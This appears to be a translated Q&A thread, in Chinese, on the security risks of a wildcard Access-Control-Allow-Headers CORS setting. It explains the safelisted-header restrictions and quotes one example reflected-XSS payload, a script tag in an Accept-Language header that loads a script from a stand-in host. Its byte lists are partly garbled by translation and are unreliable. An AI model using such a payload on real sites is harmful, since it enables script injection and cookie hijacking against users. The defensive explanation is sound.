设置 Access-Control-Allow-Headers: *（如果有）有什么安全隐患？

Question

对于我的网络应用程序，我有时会遇到类似的错误Request header field Pragma is not allowed by Access-Control-Allow-Headers in preflight response，我可以通过Access-Control-Allow-Headers: *在服务器端配置来解决。

这样做有任何安全隐患吗？

Answer 1

将其设置为通配符*意味着允许除安全列表之外的所有标头，并删除保证它们安全的限制。

\n

这些是 4 个安全列表标头被视为安全的限制：

\n

\n

\n
• 对于 Accept-Language 和 Content-Language：只能具有由0-9、A-Z、a-z、 空格 或组成的值*,-.;=。
\n
• 对于 Accept 和 Content-Type：不能包含 CORS 不安全的请求标头字节：（允许的 (HT)0x00-0x1F除外） 、 和(DEL)。0x09"():<>?@[\\]{}0x7F
\n
• 对于 Content-Type：需要具有其解析值（忽略参数）的 MIME 类型，即application/x-www-form-urlencoded、multipart/form-data或text/plain。
\n
• 对于任何标头：值\xe2\x80\x99s 长度不能大于 128。
\n

\n

\n

为了简单起见，我将根据这些标题来回答。

\n

根据服务器的实现，简单地删除这些限制可能非常危险（对用户而言）。
\n例如，这个过时的 WordPress 插件有一个反射型 XSS 漏洞，其中的值Accept-Language原样解析并呈现在页面上，如果该值中包含恶意有效负载，则会导致用户浏览器上的脚本执行。

\n

使用通配符标头Access-Control-Allow-Headers: *，重定向到您网站的第三方网站可以将标头的值设置为Accept Language: <script src="https://example.com/malicious-script.js"></script>，因为通配符消除了上述第 1 点中的限制。

\n

然后，预检响应将为该请求开绿灯，用户将被重定向到您的网站，从而在其浏览器上触发 XSS，其影响范围可能包括烦人的弹出窗口到通过 cookie 劫持失去对帐户的控制。

\n

因此，我强烈建议不要设置通配符，除非它用于页面上未呈现任何内容的 API 端点。

\n

您可以将其设置Access-Control-Allow-Headers: Pragma为问题的替代解决方案。

\n\n

请注意，该值*仅算作没有凭据的请求（没有 HTTP cookie 或 HTTP 身份验证信息的请求）的特殊通配符值，否则它将被读取为文字标头。文档

\n